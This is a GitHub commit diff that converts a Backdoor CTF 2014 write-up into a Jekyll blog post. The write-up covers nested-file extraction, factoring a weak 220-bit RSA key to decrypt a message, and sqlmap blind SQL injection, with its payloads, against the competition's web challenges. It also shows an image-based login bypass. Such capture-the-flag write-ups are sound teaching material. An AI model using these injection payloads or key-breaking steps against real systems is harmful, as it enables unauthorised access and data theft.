Skip to content

Commit 4d3111c

Browse files
committed
added backdoor2014 writeup
1 parent 897b0cd commit 4d3111c

File tree

8 files changed

+84
-223
lines changed

8 files changed

+84
-223
lines changed

_config.yml

+1
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ permalink: /:categories/:year/:month/:day/:title
55
exclude: [".rvmrc", ".rbenv-version", "README.md", "Rakefile", "changelog.md"]
66
pygments: true
77

8+
excerpt_separator: <!--more-->
89
# Themes are encouraged to use these universal variables
910
# so be sure to set them if your theme uses them.
1011
#

backdoor2014/backdoor2014.html renamed to _posts/2014-04-07-backdoor-2014-writeups.md

+81-85
Original file line numberDiff line numberDiff line change
@@ -1,76 +1,79 @@
1-
<p><link rel='stylesheet' href='markdown8.css'/></p>
2-
3-
<h1>Backdoor CTF 2014 Writeups</h1>
4-
5-
<p>With reasonable brevity by SIGINT </p>
6-
7-
<p><a id="crypto10"></a></p>
8-
9-
<h2>Crypto 10</h2>
10-
11-
<pre><code>[andrew@archa backdoor]$ binwalk -e crypto10.jpg
12-
13-
DECIMAL HEX DESCRIPTION
14-
-----------------------------------------------------------
15-
0 0x0 JPEG image data, JFIF standard 1.01
16-
40804 0x9F64 Zip archive data, name: "got2.jpg"
17-
73941 0x120D5 End of Zip archive
18-
19-
[andrew@archa _crypto10.jpg.extracted]$ binwalk -e got2.jpg
20-
21-
DECIMAL HEX DESCRIPTION
22-
-----------------------------------------------------------
23-
0 0x0 JPEG image data, JFIF standard 1.02
24-
33587 0x8333 Zip archive data, name: "txt.txt"
25-
33761 0x83E1 End of Zip archive
26-
27-
[andrew@archa _got2.jpg.extracted]$ cat txt.txt
28-
6307834008eb8edbe18c7a20ee4a909d
29-
</code></pre>
30-
31-
<p><a id="crypto100"></a></p>
32-
33-
<h2>Crypto 100</h2>
34-
35-
<pre><code>[andrew@archa backdoor]$ hexdump -C ciphertext.txt
36-
00000000 0c 08 d1 e9 22 a6 12 49 20 45 73 2b 00 a5 46 40 |...."..I Es+..F@|
37-
00000010 cb 25 2e 2e 84 f0 75 8a f3 87 d6 0c |.%....u.....|
38-
0000001c
39-
40-
[andrew@archa backdoor]$ openssl rsa -in id.pub -pubin -text
41-
Public-Key: (220 bit)
42-
Modulus:
43-
0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22:64:77:
44-
28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b
45-
Exponent: 65537 (0x10001)
46-
writing RSA key
47-
-----BEGIN PUBLIC KEY-----
48-
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDAnn7Hjy+K2plTRIImR3KBsJnRg1cCtN
49-
5QddawIDAQAB
50-
-----END PUBLIC KEY-----
51-
</code></pre>
52-
53-
<p><a href="http://en.wikipedia.org/wiki/RSA_Factoring_Challenge">This page</a> shows that factoring a 330-bit key was possible in 1991. Absent any other weaknesses, it seems that all we have to do is factor the modulus of the public key. Here I use CADO-NFS to factor the modulus.</p>
54-
55-
<pre><code>&gt;&gt;&gt; int('0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22: \
56-
... 64:77:28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b'.replace(':',''),16)
57-
1267822572326555807122159576684530178338449545988069238646937967979L
58-
59-
[andrew@archa backdoor]$ /usr/libexec/cado-nfs/bin/factor.sh 1267822572326555807122159576684530178338449545988069238646937967979
60-
&lt; math omitted &gt;
61-
Info:Complete Factorization: Total cpu/real time for everything: 230.48/248.437
62-
1162435056374824133712043309728653 1090660992520643446103273789680343
63-
OK
64-
</code></pre>
65-
66-
<p>I have a local script to generate an RSA private key file from provided p and q values, but it's possible to use an online generator if you are less paranoid.</p>
1+
---
2+
layout: post
3+
title: "Backdoor 2014 Writeups"
4+
description: ""
5+
category: Writeups
6+
tags: [backdoor2014]
7+
---
8+
<!--{% include JB/setup %}-->
9+
10+
### Crypto 10
11+
12+
[andrew@archa backdoor]$ binwalk -e crypto10.jpg
13+
14+
DECIMAL HEX DESCRIPTION
15+
-----------------------------------------------------------
16+
0 0x0 JPEG image data, JFIF standard 1.01
17+
40804 0x9F64 Zip archive data, name: "got2.jpg"
18+
73941 0x120D5 End of Zip archive
19+
20+
[andrew@archa _crypto10.jpg.extracted]$ binwalk -e got2.jpg
21+
22+
DECIMAL HEX DESCRIPTION
23+
-----------------------------------------------------------
24+
0 0x0 JPEG image data, JFIF standard 1.02
25+
33587 0x8333 Zip archive data, name: "txt.txt"
26+
33761 0x83E1 End of Zip archive
27+
28+
[andrew@archa _got2.jpg.extracted]$ cat txt.txt
29+
6307834008eb8edbe18c7a20ee4a909d
30+
31+
<!--more-->
32+
33+
### Crypto 100
34+
35+
[andrew@archa backdoor]$ hexdump -C ciphertext.txt
36+
00000000 0c 08 d1 e9 22 a6 12 49 20 45 73 2b 00 a5 46 40 |...."..I Es+..F@|
37+
00000010 cb 25 2e 2e 84 f0 75 8a f3 87 d6 0c |.%....u.....|
38+
0000001c
39+
40+
[andrew@archa backdoor]$ openssl rsa -in id.pub -pubin -text
41+
Public-Key: (220 bit)
42+
Modulus:
43+
0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22:64:77:
44+
28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b
45+
Exponent: 65537 (0x10001)
46+
writing RSA key
47+
-----BEGIN PUBLIC KEY-----
48+
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDAnn7Hjy+K2plTRIImR3KBsJnRg1cCtN
49+
5QddawIDAQAB
50+
-----END PUBLIC KEY-----
51+
52+
53+
[This page](http://en.wikipedia.org/wiki/RSA_Factoring_Challenge) shows that
54+
factoring a 330-bit key was possible in 1991. Absent any other weaknesses, it
55+
seems that all we have to do is factor the modulus of the public key. Here I use
56+
CADO-NFS to factor the modulus.
57+
58+
&gt;&gt;&gt; int('0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22: \
59+
... 64:77:28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b'.replace(':',''),16)
60+
1267822572326555807122159576684530178338449545988069238646937967979L
61+
62+
[andrew@archa backdoor]$ /usr/libexec/cado-nfs/bin/factor.sh 1267822572326555807122159576684530178338449545988069238646937967979
63+
&lt; math omitted &gt;
64+
Info:Complete Factorization: Total cpu/real time for everything: 230.48/248.437
65+
1162435056374824133712043309728653 1090660992520643446103273789680343
66+
OK
67+
68+
I have a local script to generate an RSA private key file from provided p and q
69+
values, but it's possible to use an online generator if you are less
70+
paranoid.
71+
72+
[andrew@archa backdoor]$ wget "http://rose.makesad.us/~schoen/cgi-bin/private-from-pq.cgi?1162435056374824133712043309728653&amp;1090660992520643446103273789680343" -O id.pem
73+
[andrew@archa backdoor]$ openssl rsautl -decrypt -inkey id.pem &lt; ciphertext.txt
74+
random_prime_gen
6775

68-
<pre><code>[andrew@archa backdoor]$ wget "http://rose.makesad.us/~schoen/cgi-bin/private-from-pq.cgi?1162435056374824133712043309728653&amp;1090660992520643446103273789680343" -O id.pem
69-
[andrew@archa backdoor]$ openssl rsautl -decrypt -inkey id.pem &lt; ciphertext.txt
70-
random_prime_gen
71-
</code></pre>
7276

73-
<p><a id="web10"></a></p>
7477

7578
<h2>Web 10</h2>
7679

@@ -97,8 +100,6 @@ <h2>Web 10</h2>
97100

98101
<p>Do you spot the flag?</p>
99102

100-
<p><a id="web30"></a></p>
101-
102103
<h2>Web 30</h2>
103104

104105
<pre><code>[andrew@archa ~]$ curl http://backdoor.cognizance.org.in/problems/web30/ -D - -o /dev/null
@@ -123,8 +124,6 @@ <h2>Web 30</h2>
123124
Here is a flag : aeba37a3aaffc93567a61d9a67466fdf
124125
</code></pre>
125126

126-
<p><a id="web50"></a></p>
127-
128127
<h2>Web 50</h2>
129128

130129
<p>The PHP script appears to be running a SQL query of the form <code>SELECT FROM QUOTES WHERE quote LIKE '$search';</code></p>
@@ -135,7 +134,7 @@ <h2>Web 50</h2>
135134

136135
<pre><code>sqlmap -u http://backdoor.cognizance.org.in/problems/web50/search.php --data="search=f" --tables --threads 10 --exclude-sysdbs
137136

138-
---
137+
\---
139138
Place: POST
140139
Parameter: search
141140
Type: boolean-based blind
@@ -145,7 +144,7 @@ <h2>Web 50</h2>
145144
Type: AND/OR time-based blind
146145
Title: MySQL &gt; 5.0.11 AND time-based blind
147146
Payload: search=f%' AND SLEEP(5) AND '%'='
148-
---
147+
\---
149148

150149
Database: sqli_db
151150
[2 tables]
@@ -169,7 +168,6 @@ <h2>Web 50</h2>
169168
+----------------------------------+
170169
</code></pre>
171170

172-
<p><a id="web100-1"></a></p>
173171

174172
<h2>Web 100-1</h2>
175173

@@ -203,8 +201,6 @@ <h2>Web 100-1</h2>
203201
&lt;/html&gt;
204202
</code></pre>
205203

206-
<p><a id="web300"></a></p>
207-
208204
<h2>Web 300</h2>
209205

210206
<p>This problem gives you an interface to check whether a user has registered <a href="http://backdoor.cognizance.org.in/problems/web300/status.php">here</a>. </p>
@@ -308,7 +304,6 @@ <h2>Web 300</h2>
308304
+----------------------------------+
309305
</code></pre>
310306

311-
<p><a id="misc250-2"></a></p>
312307

313308
<h2>Misc 250-2</h2>
314309

@@ -323,7 +318,7 @@ <h2>Misc 250-2</h2>
323318
Login as the sdslabs user for a change.</p>
324319
</blockquote>
325320

326-
<p><img src="backdoor.bmp" alt="backdoor" title="login for backdoor user" /></p>
321+
<p><img src="/assets/images/backdoor2014/backdoor.bmp" alt="backdoor" title="login for backdoor user" /></p>
327322

328323
<p>The first thing that comes to mind is changing the threshold of the image, but
329324
that did not do anything. OCR also came to mind, but after spending some time
@@ -336,7 +331,7 @@ <h2>Misc 250-2</h2>
336331
other colors in it. This was because the text in the image was anti-aliased,
337332
so I painted over the text with #000000 and it still logged me in as the user backdoor. </p>
338333

339-
<p><img src="try.png" alt="backdoor2" title="this also logs you in as the user backdoor" /></p>
334+
<p><img src="/assets/images/backdoor2014/try.png" alt="backdoor2" title="this also logs you in as the user backdoor" /></p>
340335

341336
<p>But the image was still not all black, so I examined the pixels again and found
342337
that they were all either #000000 or #010101. Hmmmm, it just might be a binary
@@ -352,7 +347,7 @@ <h2>Misc 250-2</h2>
352347
top row. I made a new image with all the pixels changed to #123456 except for
353348
the ones in the top row and successfully logged in using it.</p>
354349

355-
<p><img src="backdoor3.png" alt="backdoor3" title="this also logs you in" /></p>
350+
<p><img src="/assets/images/backdoor2014/backdoor3.png" alt="backdoor3" title="this also logs you in" /></p>
356351

357352
<p>I continued changing everything but the first x pixels of the image to #123456
358353
and it turned out the server would accept the image if the first 80 pixels were
@@ -382,4 +377,5 @@ <h2>Misc 250-2</h2>
382377

383378
<p>Then I submitted this image to log in as sdslabs and capture the flag.</p>
384379

385-
<p><img src="try3.png" alt="for_flag" title="sdslabs login image" /></p>
380+
<p><img src="/assets/images/backdoor2014/try3.png" alt="for_flag" title="sdslabs login image" /></p>
381+
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

backdoor2014/markdown8.css

-137
This file was deleted.

0 commit comments

Comments
 (0)